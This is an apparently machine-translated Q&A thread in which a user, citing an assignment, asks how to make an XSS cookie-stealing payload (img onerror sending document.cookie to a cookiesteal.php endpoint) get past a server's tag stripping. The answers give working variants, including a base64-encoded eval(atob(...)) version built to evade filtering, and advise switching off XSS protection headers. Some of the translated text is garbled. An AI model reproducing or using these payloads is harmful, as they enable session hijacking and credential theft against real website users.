我正在尝试对某项作业进行XSS攻击,注入一些代码,但是服务器设置为剥离大多数HTML标记,但是我可以使用img
标记和onerror进行注入。注入时,似乎似乎语法不正确,因为它删除了字符串追加中的“ +”(试图将cookie附加到我正在使用的源中)。
<img src="img.gif"
onerror="var img = document.createElement('img'); img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;">
当我在注射后(在检查元素中)对此进行检查时,它显示了脚本,但是末尾的加号缺少。有没有另一种方法可以将此cookie附加到img.src而不使用+?
更新:
我那里有加号,现在事件监听器已经激活。但是,香港专业教育学院尝试使用onerror,onload,onmouseover和什么都没有激活代码,即没有收到管理cookie。
答案 0 :(得分:1)
答案 1 :(得分:1)
<img src="img.gif" onerror="var img = document.createElement('img'); img.src=encodeURIComponent('http://localhost/cookiesteal.php?cookie='+ document.cookie);">
答案 2 :(得分:0)
尝试此错误
eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))
我做了什么
btoa()
eval(atob('encoded code'));
编码代码
`var img = document.createElement('img');
img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;`
所以你的结局应该是
<img src="img.gif" onerror="eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))">
答案 3 :(得分:0)
如果正确编码了注入的脚本,它应该可以正常工作。
您可能会得到的唯一错误是XSS保护已打开。 您可以通过发送响应标头
禁用它(“ X-XSS-Protection”,0)
您的控制台报告什么错误?